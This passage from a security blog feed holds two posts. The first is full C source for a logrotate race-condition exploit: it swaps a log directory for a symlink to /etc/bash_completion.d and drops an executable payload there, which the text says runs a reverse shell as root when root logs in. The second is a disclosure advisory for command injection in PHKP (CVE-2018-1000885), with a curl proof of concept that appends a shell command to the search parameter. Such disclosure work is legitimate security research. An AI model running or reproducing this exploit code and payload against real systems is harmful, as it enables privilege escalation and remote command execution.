&lt;stdio.h&gt;</span> <span style="color: #339933;">#include &lt;stdlib.h&gt;</span> <span style="color: #339933;">#include &lt;errno.h&gt;</span> <span style="color: #339933;">#include &lt;sys/types.h&gt;</span> <span style="color: #339933;">#include &lt;sys/inotify.h&gt;</span> <span style="color: #339933;">#include &lt;unistd.h&gt;</span> <span style="color: #339933;">#include &lt;string.h&gt;</span> <span style="color: #339933;">#include &lt;alloca.h&gt;</span> <span style="color: #339933;">#include &lt;sys/stat.h&gt;</span> &nbsp; &nbsp; <span style="color: #339933;">#define EVENT_SIZE ( sizeof (struct inotify_event) )</span> <span style="color: #339933;">#define EVENT_BUF_LEN ( 1024 * ( EVENT_SIZE + 16 ) )</span> &nbsp; <span style="color: #808080; font-style: italic;">/* use TARGETDIR without &quot;/&quot; at the end */</span> <span style="color: #339933;">#define TARGETDIR &quot;/etc/bash_completion.d&quot;</span> &nbsp; <span style="color: #339933;">#define DEBUG 1</span> &nbsp; <span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span><span style="color: #339933;">*</span> argv<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #993333;">int</span> length<span style="color: #339933;">,</span> i <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> <span style="color: #993333;">int</span> j <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> <span style="color: #993333;">int</span> index <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> <span style="color: #993333;">int</span> fd<span style="color: #339933;">;</span> <span style="color: #993333;">int</span> wd<span style="color: #339933;">;</span> <span style="color: #993333;">char</span> buffer<span style="color: #009900;">&#91;</span>EVENT_BUF_LEN<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <span style="color: #993333;">const</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>payloadfile<span style="color: #339933;">;</span> <span style="color: #993333;">const</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>logfile<span style="color: #339933;">;</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>logpath<span style="color: #339933;">;</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>logpath2<span style="color: #339933;">;</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>targetpath<span style="color: #339933;">;</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>targetdir<span style="color: #339933;">;</span> <span style="color: #993333;">char</span> ch<span style="color: #339933;">;</span> <span style="color: #993333;">const</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>p<span style="color: #339933;">;</span> FILE <span style="color: #339933;">*</span>source<span style="color: #339933;">,</span> <span style="color: #339933;">*</span>target<span style="color: #339933;">;</span> &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>argc <span style="color: #339933;">&lt;</span> <span style="color: #0000dd;">3</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/fprintf.html"><span style="color: #000066;">fprintf</span></a><span style="color: #009900;">&#40;</span>stderr<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;usage: %s &lt;logfile&gt; &lt;payloadfile&gt; [targetdir]<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/exit.html"><span style="color: #000066;">exit</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> &nbsp; logfile <span style="color: #339933;">=</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> payloadfile <span style="color: #339933;">=</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> &nbsp; <span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span>j<span style="color: #339933;">=</span><a href="http://www.opengroup.org/onlinepubs/009695399/functions/strlen.html"><span style="color: #000066;">strlen</span></a><span style="color: #009900;">&#40;</span>logfile<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#40;</span>logfile<span style="color: #009900;">&#91;</span>j<span style="color: #009900;">&#93;</span> <span style="color: #339933;">!=</span> <span style="color: #ff0000;">'/'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #009900;">&#40;</span>j <span style="color: #339933;">!=</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> j<span style="color: #339933;">--</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; index <span style="color: #339933;">=</span> j<span style="color: #339933;">+</span><span style="color: #0000dd;">1</span><span style="color: #339933;">;</span> &nbsp; p <span style="color: #339933;">=</span> <span style="color: #339933;">&amp;</span>logfile<span style="color: #009900;">&#91;</span>index<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> &nbsp; logpath <span style="color: #339933;">=</span> alloca<span style="color: #009900;">&#40;</span><a href="http://www.opengroup.org/onlinepubs/009695399/functions/strlen.html"><span style="color: #000066;">strlen</span></a><span style="color: #009900;">&#40;</span>logfile<span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span><span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">char</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> logpath2 <span style="color: #339933;">=</span> alloca<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><a href="http://www.opengroup.org/onlinepubs/009695399/functions/strlen.html"><span style="color: #000066;">strlen</span></a><span style="color: #009900;">&#40;</span>logfile<span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span><span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">char</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>argc <span style="color: #339933;">&gt;</span> <span style="color: #0000dd;">3</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> targetdir <span style="color: #339933;">=</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> targetpath <span style="color: #339933;">=</span> alloca<span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#40;</span><a href="http://www.opengroup.org/onlinepubs/009695399/functions/strlen.html"><span style="color: #000066;">strlen</span></a><span style="color: #009900;">&#40;</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #009900;">&#40;</span><a href="http://www.opengroup.org/onlinepubs/009695399/functions/strlen.html"><span style="color: #000066;">strlen</span></a><span style="color: #009900;">&#40;</span>p<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">*</span><span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">char</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/strcat.html"><span style="color: #000066;">strcat</span></a><span style="color: #009900;">&#40;</span>targetpath<span style="color: #339933;">,</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span> targetdir<span style="color: #339933;">=</span> TARGETDIR<span style="color: #339933;">;</span> targetpath <span style="color: #339933;">=</span> alloca<span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#40;</span><a href="http://www.opengroup.org/onlinepubs/009695399/functions/strlen.html"><span style="color: #000066;">strlen</span></a><span style="color: #009900;">&#40;</span>TARGETDIR<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #009900;">&#40;</span><a href="http://www.opengroup.org/onlinepubs/009695399/functions/strlen.html"><span style="color: #000066;">strlen</span></a><span style="color: #009900;">&#40;</span>p<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">*</span><span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">char</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> targetpath<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">'<span style="color: #006699; font-weight: bold;">\0</span>'</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/strcat.html"><span style="color: #000066;">strcat</span></a><span style="color: #009900;">&#40;</span>targetpath<span style="color: #339933;">,</span>TARGETDIR<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/strcat.html"><span style="color: #000066;">strcat</span></a><span style="color: #009900;">&#40;</span>targetpath<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;/&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/strcat.html"><span style="color: #000066;">strcat</span></a><span style="color: #009900;">&#40;</span>targetpath<span style="color: #339933;">,</span>p<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; <span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span>j <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> j <span style="color: #339933;">&lt;</span> index<span style="color: #339933;">;</span> j<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> logpath<span style="color: #009900;">&#91;</span>j<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> logfile<span style="color: #009900;">&#91;</span>j<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> logpath<span style="color: #009900;">&#91;</span>j<span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">'<span style="color: #006699; font-weight: bold;">\0</span>'</span><span style="color: #339933;">;</span> &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/strcpy.html"><span style="color: #000066;">strcpy</span></a><span style="color: #009900;">&#40;</span>logpath2<span style="color: #339933;">,</span>logpath<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> logpath2<span style="color: #009900;">&#91;</span><a href="http://www.opengroup.org/onlinepubs/009695399/functions/strlen.html"><span style="color: #000066;">strlen</span></a><span style="color: #009900;">&#40;</span>logpath<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">'2'</span><span style="color: #339933;">;</span> logpath2<span style="color: #009900;">&#91;</span><a href="http://www.opengroup.org/onlinepubs/009695399/functions/strlen.html"><span style="color: #000066;">strlen</span></a><span style="color: #009900;">&#40;</span>logpath<span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">'<span style="color: #006699; font-weight: bold;">\0</span>'</span><span style="color: #339933;">;</span> &nbsp; <span style="color: #808080; font-style: italic;">/*creating the INOTIFY instance*/</span> fd <span style="color: #339933;">=</span> inotify_init<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> DEBUG <span style="color: #339933;">==</span> <span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;logfile: %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>logfile<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;logpath: %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>logpath<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;logpath2: %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>logpath2<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;targetpath: %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>targetpath<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;targetdir: %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>targetdir<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;p: %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>p<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> &nbsp; <span style="color: #808080; font-style: italic;">/*checking for error*/</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> fd <span style="color: #339933;">&lt;</span> <span style="color: #0000dd;">0</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/perror.html"><span style="color: #000066;">perror</span></a><span style="color: #009900;">&#40;</span> <span style="color: #ff0000;">&quot;inotify_init&quot;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> &nbsp; wd <span style="color: #339933;">=</span> inotify_add_watch<span style="color: #009900;">&#40;</span> fd<span style="color: #339933;">,</span>logpath<span style="color: #339933;">,</span> IN_MOVED_FROM <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; &nbsp; <span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> i<span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> length <span style="color: #339933;">=</span> read<span style="color: #009900;">&#40;</span> fd<span style="color: #339933;">,</span> buffer<span style="color: #339933;">,</span> EVENT_BUF_LEN <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span>i <span style="color: #339933;">&lt;</span> length<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #993333;">struct</span> inotify_event <span style="color: #339933;">*</span>event <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span> <span style="color: #993333;">struct</span> inotify_event <span style="color: #339933;">*</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span>buffer<span style="color: #009900;">&#91;</span> i <span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> event<span style="color: #339933;">-&gt;</span>len <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> event<span style="color: #339933;">-&gt;</span>mask <span style="color: #339933;">&amp;</span> IN_MOVED_FROM <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.opengroup.org/onlinepubs/009695399/functions/strcmp.html"><span style="color: #000066;">strcmp</span></a><span style="color: #009900;">&#40;</span>event<span style="color: #339933;">-&gt;</span>name<span style="color: #339933;">,</span>p<span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #808080; font-style: italic;">/* printf( &quot;Something is moved %s.\n&quot;, event-&gt;name ); */</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/rename.html"><span style="color: #000066;">rename</span></a><span style="color: #009900;">&#40;</span>logpath<span style="color: #339933;">,</span>logpath2<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> symlink<span style="color: #009900;">&#40;</span>targetdir<span style="color: #339933;">,</span>logpath<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> sleep<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> source <span style="color: #339933;">=</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/fopen.html"><span style="color: #000066;">fopen</span></a><span style="color: #009900;">&#40;</span>payloadfile<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;r&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>source <span style="color: #339933;">==</span> NULL<span style="color: #009900;">&#41;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/exit.html"><span style="color: #000066;">exit</span></a><span style="color: #009900;">&#40;</span>EXIT_FAILURE<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; target <span style="color: #339933;">=</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/fopen.html"><span style="color: #000066;">fopen</span></a><span style="color: #009900;">&#40;</span>targetpath<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;w&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>target <span style="color: #339933;">==</span> NULL<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/fclose.html"><span style="color: #000066;">fclose</span></a><span style="color: #009900;">&#40;</span>source<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/exit.html"><span style="color: #000066;">exit</span></a><span style="color: #009900;">&#40;</span>EXIT_FAILURE<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> &nbsp; <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>ch <span style="color: #339933;">=</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/fgetc.html"><span style="color: #000066;">fgetc</span></a><span style="color: #009900;">&#40;</span>source<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> EOF<span style="color: #009900;">&#41;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/fputc.html"><span style="color: #000066;">fputc</span></a><span style="color: #009900;">&#40;</span>ch<span style="color: #339933;">,</span> target<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; chmod<span style="color: #009900;">&#40;</span>targetpath<span style="color: #339933;">,</span>S_IRUSR <span style="color: #339933;">|</span> S_IXUSR <span style="color: #339933;">|</span> S_IRGRP <span style="color: #339933;">|</span> S_IXGRP <span style="color: #339933;">|</span> S_IROTH <span style="color: #339933;">|</span> S_IXOTH<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/fclose.html"><span style="color: #000066;">fclose</span></a><span style="color: #009900;">&#40;</span>source<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/fclose.html"><span style="color: #000066;">fclose</span></a><span style="color: #009900;">&#40;</span>target<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> inotify_rm_watch<span style="color: #009900;">&#40;</span> fd<span style="color: #339933;">,</span> wd <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> close<span style="color: #009900;">&#40;</span> fd <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/exit.html"><span style="color: #000066;">exit</span></a><span style="color: #009900;">&#40;</span>EXIT_SUCCESS<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> <span style="color: #009900;">&#125;</span> <span style="color: #009900;">&#125;</span> i <span style="color: #339933;">+=</span> EVENT_SIZE <span style="color: #339933;">+</span> event<span style="color: #339933;">-&gt;</span>len<span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> <span style="color: #009900;">&#125;</span> <span style="color: #808080; font-style: italic;">/*removing from the watch list.*/</span> inotify_rm_watch<span style="color: #009900;">&#40;</span> fd<span style="color: #339933;">,</span> wd <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; <span style="color: #808080; font-style: italic;">/*closing the INOTIFY instance*/</span> close<span style="color: #009900;">&#40;</span> fd <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/exit.html"><span style="color: #000066;">exit</span></a><span style="color: #009900;">&#40;</span>EXIT_SUCCESS<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span></pre></div></pre> <p>As soon as root logs in, the reverse shell gets executed with root privileges.</p> <p> <video controls="" height="360" width="480"><source src="/sites/default/files/DateiUploads/logrotate2.mp4" type="video/mp4" /></video> </p> <h3>Known Issues</h3> <p>I wasn't able to win the race inside a docker container or lvm-volume.</p> <p>&nbsp;</p> <p><b>Update:</b> More details about this problem can be found at <a href="https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition">https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition</a></p> </div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/hoti" typeof="schema:Person" property="schema:name" datatype="">Hoti</span></span> <span class="field field--name-created field--type-created field--label-hidden">Jan 14 2019</span> <div class="field field--name-field-tagies field--type-entity-reference field--label-above"> <div class="field__label">Tags</div> <div class='field__items'> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/security" hreflang="en">Security</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Programming" hreflang="en">Programming</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/c" hreflang="en">C</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/sysadmin" hreflang="en">Sysadmin</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> <section class="field field--name-comment field--type-comment field--label-above comment-wrapper"> <h2 class='title comment-form__title'> <i class="fa fa-comments-o"></i> Add new comment</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" arguments="0=node&amp;1=275&amp;2=comment&amp;3=comment" token="n9usVfEUtf7byg_DtY0U2-fcm665S_LxRZ3k1aaN8cE"></drupal-render-placeholder> </section> Mon, 14 Jan 2019 20:06:52 +0000 Hoti 275 at https://tech.feedyourhead.at Full Disclosure: Remote-Command-Execution in PHKP https://tech.feedyourhead.at/content/full-disclosure-remote-command-execution-in-phkp <span class="field field--name-title field--type-string field--label-hidden">Full Disclosure: Remote-Command-Execution in PHKP</span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><h3>Overview</h3> <ul><li>System affected: <a href="https://el-tramo.be/phkp/">PHKP</a></li> <li>Software-Version: including commit <span class="sha-block"><span class="sha user-select-contain">88fd9cfdf14ea4b6ac3e3967feea7bcaabb6f03b</span></span></li> <li>User-Interaction: Not required</li> <li>Impact: Remote-Code-Execution</li> <li>CVE: CVE-2018-1000885</li> </ul><h3>Detailed Description</h3> <p>According to the project-page "PHKP is an implementation of the <a href="https://tools.ietf.org/html/draft-shaw-openpgp-hkp-00">OpenPGP HTTP Keyserver Protocol (HKP)</a> in PHP". Due to unsanitized query parameters in the <a href="https://tools.ietf.org/html/draft-shaw-openpgp-hkp-00#page-3">/pks/lookup-call</a> any shell-command can be injected and executed remotely.</p> <p>In line <a href="https://github.com/remko/phkp/blob/88fd9cfdf14ea4b6ac3e3967feea7bcaabb6f03b/phkp.php#L106-L107">106 of phkp.php the search-parameter "/pks/lookup&amp;op=index" is assigned without any checks and in line 107</a> this variable will be used as a parameter of exec():</p> <div class="geshifilter"><pre class="php geshifilter-php" style="font-family:monospace;">  <span style="color: #000088;">$search</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$vars</span><span style="color: #009900;">[</span><span style="color: #0000ff;">'search'</span><span style="color: #009900;">]</span><span style="color: #339933;">;</span> <span style="color: #000088;">$pgp_result</span> <span style="color: #339933;">=</span> pgp_exec<span style="color: #009900;">(</span><span style="color: #0000ff;">"--list-public-keys --list-keys <span style="color: #006699; font-weight: bold;">$search</span>"</span><span style="color: #339933;">,</span> <span style="color: #000088;">$output</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span> </pre></div> <p>It is possible to inject any shell commands using the search-parameter:</p> <p><span class="geshifilter"><code class="bash geshifilter-bash">curl http:<span style="color: #000000; font-weight: bold;">//</span>localhost:<span style="color: #000000;">8008</span><span style="color: #000000; font-weight: bold;">/</span>pks<span style="color: #000000; font-weight: bold;">/</span>lookup?<span style="color: #007800;">op</span>=index<span style="color: #000000; font-weight: bold;">&amp;</span><span style="color: #007800;">search</span>=js<span style="color: #000000; font-weight: bold;">@</span>example.com; <span style="color: #c20cb9; font-weight: bold;">id</span></code></span></p> <p>In line <a href="https://github.com/remko/phkp/blob/88fd9cfdf14ea4b6ac3e3967feea7bcaabb6f03b/phkp.php#L116-L117">116 and 117</a> the same problem occurs again for the "/pks/lookup&amp;op=get"-call. That means that the remote-code-execution occurs in two places.</p> <h3>Proof-Of-Concept</h3> <p>A ordinary lookup coud be the following:</p> <p><img alt="Normal phkp-lookup" data-entity-type="file" data-entity-uuid="83e75e46-8ca9-4cfe-a717-ca2535521734" src="/sites/default/files/inline-images/2018-10-08-13%3A14%3A35.png" /></p> <p>By injecting shell commands to the search-parameter, it is possible to execute any command:</p> <p><img alt="phkp rce" data-entity-type="file" data-entity-uuid="ba2c925d-adac-4faf-a1bb-d5477140702e" src="/sites/default/files/inline-images/phkp-rce.png" /></p> <h3>Mitigation</h3> <p>Currently there is no fix for this bug. The <a href="https://github.com/remko/phkp/issues/1">author was informed on Jul 18 2018</a>. A solution for this problem might be the <a href="http://php.net/manual/en/function.escapeshellcmd.php">escapeshellcmd()-function</a>.</p> <h3>Credits</h3> <p>The remote-code-execution bug was discovered by Wolfgang Hotwagner(https://tech.feedyourhead.at/content/full-disclosure-remote-command-execution-in-phkp)</p> </div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/hoti" typeof="schema:Person" property="schema:name" datatype="">Hoti</span></span> <span class="field field--name-created field--type-created field--label-hidden">Oct 08 2018</span> <div class="field field--name-field-tagies field--type-entity-reference field--label-above"> <div class="field__label">Tags</div> <div class='field__items'> <div class="field__item"><i class="fa fa-tags"></i> <a href="/taxonomy/term/107" hreflang="en">CVE</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Programming" hreflang="en">Programming</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/security" hreflang="en">Security</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/sysadmin" hreflang="en">Sysadmin</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> <section class="field field--name-comment field--type-comment field--label-above comment-wrapper"> <h2 class='title comment-form__title'> <i class="fa fa-comments-o"></i> Add new comment</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" arguments="0=node&amp;1=270&amp;2=comment&amp;3=comment" token="cK_p_W5RhnZKxZrNTKP6lTqyEefrgqU5bitXNJBBEVM"></drupal-render-placeholder> </section> Mon, 08 Oct 2018 11:23:39 +0000 Hoti 270 at https://tech.feedyourhead.at Happy Sysadminday 